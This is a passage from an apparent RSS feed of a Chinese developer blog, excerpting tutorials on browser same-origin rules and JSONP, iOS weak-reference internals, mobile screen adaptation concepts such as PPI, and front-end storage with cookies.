&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.domain.com/"&gt;www.domain.com/&lt;/a&gt;a.js&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.domain.com/"&gt;www.domain.com/&lt;/a&gt;b.js&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.domain.com/"&gt;www.domain.com/&lt;/a&gt;lab/c.js&lt;/td&gt;
&lt;td&gt;同一域名，不同文件或路径&lt;/td&gt;
&lt;td&gt;允许&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.domain.com/"&gt;www.domain.com&lt;/a&gt;:8000/a.js&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.domain.com/b.js"&gt;www.domain.com/b.js&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;同一域名，不同端口&lt;/td&gt;
&lt;td&gt;不允许&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.domain.com/a.js"&gt;http://www.domain.com/a.js&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.domain.com/b.js"&gt;https://www.domain.com/b.js&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;同一域名，不同协议&lt;/td&gt;
&lt;td&gt;不允许&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.domain.com/a.js"&gt;http://www.domain.com/a.js&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://192.168.4.12/b.js"&gt;http://192.168.4.12/b.js&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;域名和域名对应相同ip&lt;/td&gt;
&lt;td&gt;不允许&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.domain.com/a.js"&gt;http://www.domain.com/a.js&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://x.domain.com/b.js"&gt;http://x.domain.com/b.js&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://domain.com/c.js"&gt;http://domain.com/c.js&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;主域相同，子域不同&lt;/td&gt;
&lt;td&gt;不允许&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.domain1.com/a.js"&gt;http://www.domain1.com/a.js&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.domain2.com/b.js"&gt;http://www.domain2.com/b.js&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;不同域名&lt;/td&gt;
&lt;td&gt;不允许&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="三9种跨域解决方案"&gt;三、9种跨域解决方案&lt;/h2&gt;
&lt;h3 id="1jsonp跨域"&gt;1、JSONP跨域&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;jsonp&lt;/strong&gt;的原理就是利用&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;标签没有跨域限制，通过&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;标签src属性，发送带有callback参数的GET请求，服务端将接口返回数据拼凑到callback函数中，返回给浏览器，浏览器解析执行，从而前端拿到callback函数返回的数据。&lt;br&gt;
1）原生JS实现：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;script&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; var script &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.createElement&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;script&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; script.type &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;text/javascript&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; // 传参一个回调函数名给后端，方便后端返回时执行这个在前端定义的回调函数
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; script.src &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;http://www.domain2.com:8080/login?user=admin&amp;amp;callback=handleCallback&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; document.head.appendChild&lt;span style="color:#f92672"&gt;(&lt;/span&gt;script&lt;span style="color:#f92672"&gt;)&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; // 回调执行函数
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; handleCallback&lt;span style="color:#f92672"&gt;(&lt;/span&gt;res&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; alert&lt;span style="color:#f92672"&gt;(&lt;/span&gt;JSON.stringify&lt;span style="color:#f92672"&gt;(&lt;/span&gt;res&lt;span style="color:#f92672"&gt;))&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/script&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;服务端返回如下（返回时即执行全局函数）：&lt;/p&gt;</description></item><item><title>weak详解</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/weak%E8%AF%A6%E8%A7%A3/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/weak%E8%AF%A6%E8%A7%A3/</guid><description>&lt;p&gt;本文将深入探讨iOS中&lt;code&gt;weak&lt;/code&gt;引用的实现原理，包括底层数据结构、核心函数实现、生命周期管理，以及&lt;code&gt;weak&lt;/code&gt;、&lt;code&gt;unowned&lt;/code&gt;、&lt;code&gt;unsafe_unretained&lt;/code&gt;三者的对比。&lt;/p&gt;
&lt;h2 id="weak的基本概念"&gt;weak的基本概念&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;weak&lt;/code&gt;是一种弱引用修饰符，它&lt;strong&gt;不会增加对象的引用计数&lt;/strong&gt;，也就是说不会持有对象。当对象被释放时，所有指向该对象的&lt;code&gt;weak&lt;/code&gt;引用会&lt;strong&gt;自动被置为nil&lt;/strong&gt;，这是&lt;code&gt;weak&lt;/code&gt;最核心的特性。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-objc" data-lang="objc"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Objective-C中使用weak
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;@property&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;nonatomic&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;weak&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;SomeDelegate&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; delegate;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;__weak&lt;/span&gt; NSObject &lt;span style="color:#f92672"&gt;*&lt;/span&gt;weakObj &lt;span style="color:#f92672"&gt;=&lt;/span&gt; strongObj;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Swift中使用weak&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;weak&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; delegate: SomeDelegate?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;weak&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; weakObj = strongObj
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="weak的底层数据结构"&gt;weak的底层数据结构&lt;/h2&gt;
&lt;p&gt;要理解&lt;code&gt;weak&lt;/code&gt;的实现原理，首先需要了解几个核心数据结构。&lt;/p&gt;
&lt;h3 id="sidetable"&gt;SideTable&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;SideTable&lt;/code&gt;是Runtime中非常重要的数据结构。关于SideTable在引用计数存储中的作用，请参考&lt;a href="https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/ios%E4%B8%AD%E7%9A%84%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86/#%E4%BE%A7%E8%A1%A8%E5%AD%98%E5%82%A8sidetable"&gt;iOS中的内存管理-侧表存储&lt;/a&gt;。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;struct&lt;/span&gt; SideTable {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; os_unfair_lock slock; &lt;span style="color:#75715e"&gt;// 锁，保证线程安全
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; RefcountMap refcnts; &lt;span style="color:#75715e"&gt;// 引用计数哈希表
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;weak_table_t&lt;/span&gt; weak_table; &lt;span style="color:#75715e"&gt;// 弱引用表
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;系统维护了一个&lt;strong&gt;固定大小&lt;/strong&gt;的&lt;code&gt;SideTable&lt;/code&gt;数组，称为&lt;code&gt;StripedMap&lt;/code&gt;。通过对对象地址做哈希和取模来定位对应的&lt;code&gt;SideTable&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 通过对象地址获取对应的SideTable
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; SideTable&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt; table &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;SideTables&lt;/span&gt;()[obj];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 内部等效逻辑：index = hash(obj) % StripeCount
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// StripeCount为StripedMap的大小
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;由于对象数量远大于&lt;code&gt;SideTable&lt;/code&gt;数量，&lt;strong&gt;多个对象会被映射到同一个&lt;code&gt;SideTable&lt;/code&gt;&lt;/strong&gt;，这类似于哈希表中的哈希冲突。这种设计的核心目的是&lt;strong&gt;分散锁竞争&lt;/strong&gt;——每个&lt;code&gt;SideTable&lt;/code&gt;拥有独立的锁，不同&lt;code&gt;SideTable&lt;/code&gt;上的操作可以并行执行，相比单一全局表大幅提升了多线程性能。&lt;/p&gt;
&lt;h3 id="weak_table_t"&gt;weak_table_t&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;weak_table_t&lt;/code&gt;是存储弱引用关系的哈希表，采用 &lt;strong&gt;开放寻址法（线性探测）&lt;/strong&gt; 解决哈希冲突：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;struct&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;weak_table_t&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;weak_entry_t&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;weak_entries; &lt;span style="color:#75715e"&gt;// 连续分配的数组，作为开放寻址哈希表的底层存储
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;size_t&lt;/span&gt; num_entries; &lt;span style="color:#75715e"&gt;// 当前已使用的条目数量
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;uintptr_t&lt;/span&gt; mask; &lt;span style="color:#75715e"&gt;// 容量掩码（= 数组容量 - 1），用于 hash &amp;amp; mask 快速取模
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;uintptr_t&lt;/span&gt; max_hash_displacement; &lt;span style="color:#75715e"&gt;// 最大哈希冲突偏移量
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;虽然 &lt;code&gt;weak_entries&lt;/code&gt; 的类型是 &lt;code&gt;weak_entry_t *&lt;/code&gt;（即一块连续内存），但元素&lt;strong&gt;不是按顺序填入&lt;/strong&gt;的——插入时通过 &lt;code&gt;hash(referent地址) &amp;amp; mask&lt;/code&gt; 计算目标槽位，冲突时向后线性探测。因此它本质上是一个&lt;strong&gt;用数组实现的开放寻址哈希表&lt;/strong&gt;，而非普通的顺序数组。&lt;/p&gt;</description></item><item><title>移动端适配</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-025/</link><pubDate>Sat, 09 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-025/</guid><description>&lt;h2 id="导读"&gt;导读&lt;/h2&gt;
&lt;p&gt;移动端适配，是我们在开发中经常会遇到的，这里面可能会遇到非常多的问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;1px&lt;/code&gt;问题&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UI&lt;/code&gt;图完美适配方案&lt;/li&gt;
&lt;li&gt;&lt;code&gt;iPhoneX&lt;/code&gt;适配方案&lt;/li&gt;
&lt;li&gt;横屏适配&lt;/li&gt;
&lt;li&gt;高清屏图片模糊问题&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;上面这些问题可能我们在开发中已经知道如何解决，但是问题产生的原理，以及解决方案的原理可能会模糊不清。在解决这些问题的过程中，我们往往会遇到非常多的概念：像素、分辨率、&lt;code&gt;PPI&lt;/code&gt;、&lt;code&gt;DPI&lt;/code&gt;、&lt;code&gt;DP&lt;/code&gt;、&lt;code&gt;DIP&lt;/code&gt;、&lt;code&gt;DPR&lt;/code&gt;、视口等等，你真的能分清这些概念的意义吗？&lt;/p&gt;
&lt;p&gt;本文将从移动端适配的基础概念出发，探究移动端适配各种问题的解决方案和实现原理。&lt;/p&gt;
&lt;h2 id="一英寸"&gt;一、英寸&lt;/h2&gt;
&lt;p&gt;一般用英寸描述屏幕的物理大小，如电脑显示器的&lt;code&gt;17&lt;/code&gt;、&lt;code&gt;22&lt;/code&gt;，手机显示器的&lt;code&gt;4.8&lt;/code&gt;、&lt;code&gt;5.7&lt;/code&gt;等使用的单位都是英寸。&lt;/p&gt;
&lt;p&gt;需要注意，上面的尺寸都是屏幕对角线的长度：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-025/image-01.png"&gt;&lt;/p&gt;
&lt;p&gt;英寸(&lt;code&gt;inch&lt;/code&gt;,缩写为&lt;code&gt;in&lt;/code&gt;)在荷兰语中的本意是大拇指，一英寸就是指甲底部普通人拇指的宽度。&lt;/p&gt;
&lt;p&gt;英寸和厘米的换算：&lt;code&gt;1英寸 = 2.54 厘米&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="二分辨率"&gt;二、分辨率&lt;/h2&gt;
&lt;h3 id="21-像素"&gt;2.1 像素&lt;/h3&gt;
&lt;p&gt;像素即一个小方块，它具有特定的位置和颜色。&lt;/p&gt;
&lt;p&gt;图片、电子屏幕（手机、电脑）就是由无数个具有特定颜色和特定位置的小方块拼接而成。&lt;/p&gt;
&lt;p&gt;像素可以作为图片或电子屏幕的最小组成单位。&lt;/p&gt;
&lt;p&gt;下面我们使用&lt;code&gt;sketch&lt;/code&gt;打开一张图片：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-025/image-02.png"&gt;&lt;/p&gt;
&lt;p&gt;将这些图片放大即可看到这些像素点：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-025/image-03.png"&gt;&lt;/p&gt;
&lt;p&gt;通常我们所说的分辨率有两种，屏幕分辨率和图像分辨率。&lt;/p&gt;
&lt;h3 id="22-屏幕分辨率"&gt;2.2 屏幕分辨率&lt;/h3&gt;
&lt;p&gt;屏幕分辨率指一个屏幕具体由多少个像素点组成。&lt;/p&gt;
&lt;p&gt;下面是&lt;code&gt;apple&lt;/code&gt;的官网上对手机分辨率的描述：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-025/image-04.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;iPhone XS Max&lt;/code&gt; 和 &lt;code&gt;iPhone SE&lt;/code&gt;的分辨率分别为&lt;code&gt;2688 x 1242&lt;/code&gt;和&lt;code&gt;1136 x 640&lt;/code&gt;。这表示手机分别在垂直和水平上所具有的像素点数。&lt;/p&gt;
&lt;p&gt;当然分辨率高不代表屏幕就清晰，屏幕的清晰程度还与尺寸有关。&lt;/p&gt;
&lt;h3 id="23-图像分辨率"&gt;2.3 图像分辨率&lt;/h3&gt;
&lt;p&gt;我们通常说的&lt;code&gt;图片分辨率&lt;/code&gt;其实是指图片含有的&lt;code&gt;像素数&lt;/code&gt;，比如一张图片的分辨率为&lt;code&gt;800 x 400&lt;/code&gt;。这表示图片分别在垂直和水平上所具有的像素点数为&lt;code&gt;800&lt;/code&gt;和&lt;code&gt;400&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;同一尺寸的图片，分辨率越高，图片越清晰。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-025/image-05.png"&gt;&lt;/p&gt;
&lt;h3 id="24-ppi"&gt;2.4 PPI&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;PPI(Pixel Per Inch)&lt;/code&gt;：每英寸包括的像素数。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;PPI&lt;/code&gt;可以用于描述屏幕的清晰度以及一张图片的质量。&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;PPI&lt;/code&gt;描述图片时，&lt;code&gt;PPI&lt;/code&gt;越高，图片质量越高，使用&lt;code&gt;PPI&lt;/code&gt;描述屏幕时，&lt;code&gt;PPI&lt;/code&gt;越高，屏幕越清晰。&lt;/p&gt;
&lt;p&gt;在上面描述手机分辨率的图片中，我们可以看到：&lt;code&gt;iPhone XS Max&lt;/code&gt; 和 &lt;code&gt;iPhone SE&lt;/code&gt;的&lt;code&gt;PPI&lt;/code&gt;分别为&lt;code&gt;458&lt;/code&gt;和&lt;code&gt;326&lt;/code&gt;，这足以证明前者的屏幕更清晰。&lt;/p&gt;
&lt;p&gt;由于手机尺寸为手机对角线的长度，我们通常使用如下的方法计算&lt;code&gt;PPI&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-025/image-06.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;iPhone 6&lt;/code&gt;的&lt;code&gt;PPI&lt;/code&gt;为&lt;/p&gt;</description></item><item><title>前端存储</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-025/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-025/</guid><description>&lt;h2 id="什么是前端存储"&gt;什么是前端存储&lt;/h2&gt;
&lt;p&gt;开门见山。前端存储就是通过前端技术来存储一段信息，然后在同源下的不同页面中都可以获取到已存储信息的一种策略。&lt;/p&gt;
&lt;h2 id="前端存储的作用"&gt;前端存储的作用&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;方便网页的加载，避免了在发送请求收到响应前页面的空白期&lt;/li&gt;
&lt;li&gt;可以在非强制性要求实时更新时减少向服务端的请求，加快渲染速度&lt;/li&gt;
&lt;li&gt;在网络不佳或无网时仍有离线数据可以查看&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="有哪些前端存储方案"&gt;有哪些前端存储方案&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-025/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;如图，一共有5种前端存储方案。大致可以分为3类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cookie&lt;/li&gt;
&lt;li&gt;WebStorage：LocalStorage、SessionStorage&lt;/li&gt;
&lt;li&gt;数据库存储：IndexedDB、WebSQL&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;先做一个简单对比：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-025/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;下面我们详细介绍。&lt;/p&gt;
&lt;h2 id="cookie"&gt;Cookie&lt;/h2&gt;
&lt;p&gt;Cookie 的工作流程：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-025/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;Cookie 的构成：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-025/image-04.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-025/image-05.webp"&gt;&lt;/p&gt;
&lt;p&gt;域、路径、失效时间和安全性都是服务器给浏览器的指示，它们不会随着请求发送给服务器，&lt;strong&gt;发送给服务器的只有名称与值的键值对&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;Cookie 的生命周期：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果设定了 Cookie 的过期时间，那么 Cookie 会在到期时自动失效&lt;/li&gt;
&lt;li&gt;如果没有设定过期时间，那么 Cookie 就是 session 级别的，即浏览器关闭时 Cookie 自动消失&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Cookie 的优缺点：&lt;/p&gt;
&lt;p&gt;优点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;可以控制过期时间，不会永久有效，有一定的安全保障&lt;/li&gt;
&lt;li&gt;可进行扩展，可跨域共享&lt;/li&gt;
&lt;li&gt;通过加密与安全传输技术，可以减少 Cookie 被破解的可能性&lt;/li&gt;
&lt;li&gt;有较高的兼容性&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;缺点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;存储大小最多4KB&lt;/li&gt;
&lt;li&gt;存储数量根据浏览器或浏览器版本的不同而不同，并且每个域最多20条&lt;/li&gt;
&lt;li&gt;请求头上的数据容易被拦截攻击&lt;/li&gt;
&lt;li&gt;存储的数据只能是字符串类型&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;操作 Cookie：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 设置 Cookie
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Cookie 值必须是字符串类型，并且不支持分号、逗号以及空格，
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 所以有时需要先使用 encodeURIComponent() 进行编码，或者使用 JSON.stringify() 进行序列化
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;document.&lt;span style="color:#a6e22e"&gt;cookie&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;键1=值1;键2=值2;键n=值n&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 读取 Cookie
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 有时需要使用 decodeURIComponent() 或者 JSON.parse()
